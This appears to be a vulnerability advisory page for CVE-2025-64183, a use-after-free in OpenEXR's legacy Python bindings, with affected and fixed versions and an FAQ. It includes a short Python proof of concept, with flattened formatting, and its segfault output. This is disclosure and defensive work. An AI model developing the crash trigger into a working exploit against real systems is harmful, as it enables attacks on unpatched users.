CVE-2025-64183: OpenEXR has use after free in PyObject_StealAttrString

Published Nov 10, 2025
·
Updated

Summary There is a use-after-free in PyObjectStealAttrString of pyOpenEXRold.cpp.

This bug was found with ZeroPath.

Details

The legacy adapter defines PyObjectStealAttrString that calls PyObjectGetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLongAsLong/PyFloatAsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.).

https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXRold.cpp#L109-L115

https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXRold.cpp#L380-L387

https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXRold.cpp#L1258-L1286

PoC

py import OpenEXR, Imath

Any small EXR will do - use one from OpenEXR test images or any project file path = "anysmall.exr"

Property returns a fresh temporary int subclass, so the buggy helper decrefs it to zero before passing it to PyLongAsLong => UAF. class FreshInt(int): def new(cls, v): return int.new(cls, v) def del(self): # stir the heap to make the UAF obvious under PYTHONMALLOC=debug = bytearray(1000000)

class PixelTypeProxy: @property def v(self): return FreshInt(Imath.PixelType.FLOAT) # any small value is fine

f = OpenEXR.InputFile(path) channel() forces the wrapper to read pixeltype.v using the buggy helper which returns a dangling pointer print("About to trigger UAF...") f.channel("R", pixeltype=PixelTypeProxy()) print("If you get here without a crash, try again with AddressSanitizer.") running

shell PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py

About to trigger UAF... Fatal Python error: Segmentation fault

Current thread 0x00000001f209a140 (most recent call first): File "/private/tmp/i/pt.py", line 24 in <module>

Current thread's C stack trace (most recent call first): Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyDumpStack+0x44 [0x1058c00f8] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandlerdumpcstack+0x58 [0x1058d2f3c] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandlerfatalerror+0x160 [0x1058d2e00] Binary file "/usr/lib/system/libsystemplatform.dylib", at sigtramp+0x38 [0x1841796a4] Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at Z16initOpenEXRoldP7object+0x1010 [0x105cb9e94] Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at Z16initOpenEXRoldP7object+0x1010 [0x105cb9e94] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at methodvectorcallVARARGSKEYWORDS+0x94 [0x1057032bc] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyObjectVectorcall+0x58 [0x1056f5044] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyEvalEvalFrameDefault+0x9cac [0x1058312d8] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyEvalEvalCode+0xf8 [0x105827130] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at runmod+0xac [0x1058a2b60] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pyrunfile+0xa4 [0x1058a123c] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyRunSimpleFileObject+0x100 [0x1058a07c0] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyRunAnyFileObject+0x50 [0x1058a0424] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymainrunfileobj+0xa4 [0x1058cfcd8] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymainrunfile+0x48 [0x1058cfa20] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyRunMain+0x354 [0x1058cef60] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymainmain+0xe8 [0x1058cf3f8] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyBytesMain+0x28 [0x1058cf494] Binary file "/usr/lib/dyld", at start+0x17bc [0x183d9eb98]

Extension modules: numpy.core.multiarrayumath, numpy.linalg.umathlinalg (total: 2) Segmentation fault: 11 PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py

Impact

Completely depends on the context. Typical memory stuff related to UAFs.

Other sources

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, there is a use-after-free in PyObjectStealAttrString of pyOpenEXRold.cpp. The legacy adapter defines PyObjectStealAttrString that calls PyObjectGetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLongAsLong/PyFloatAsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.) Versions 3.2.5, 3.3.6, and 3.4.3 fix the issue.

MITRE

Affected Software

7 affected componentsFixes available
OpenEXR OpenEXR>=3.2.0<=3.2.4, >=3.3.0<=3.3.5, >=3.4.0<=3.4.2
OpenEXR OpenEXR>=3.2.0<3.2.5
OpenEXR OpenEXR>=3.3.0<3.3.6
OpenEXR OpenEXR>=3.4.0<3.4.3
pip/OpenEXR>=3.4.0<3.4.3
3.4.3
pip/OpenEXR>=3.3.0<3.3.6
3.3.6
pip/OpenEXR>=3.2.0<3.2.5
3.2.5

Event History

Nov 10, 2025
CVE Published
via MITRE·09:29 PM
Data Sourced
via MITRE·09:29 PM
DescriptionWeakness
Data Sourced
via NVD·10:15 PM
DescriptionSeverityWeaknessAffected Software
Apr 6, 2026
Advisory Published
via GitHub·05:51 PM
Data Sourced
via GitHub·05:51 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2025-64183?

CVE-2025-64183 is classified as a critical vulnerability due to its potential for arbitrary code execution through a use-after-free condition.

2

How do I fix CVE-2025-64183?

To mitigate CVE-2025-64183, upgrade OpenEXR to version 3.2.5, 3.3.6, or 3.4.3, which have patched the vulnerability.

3

Which versions of OpenEXR are affected by CVE-2025-64183?

CVE-2025-64183 affects OpenEXR versions 3.2.0 to 3.2.4, 3.3.0 to 3.3.5, and 3.4.0 to 3.4.2.

4

What is a use-after-free vulnerability in the context of CVE-2025-64183?

A use-after-free vulnerability occurs when a program continues to use a pointer after the memory it points to has been freed, leading to potential code execution.

5

What impact can CVE-2025-64183 have on my system?

Exploitation of CVE-2025-64183 could allow an attacker to execute arbitrary code, leading to a complete compromise of the affected system.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203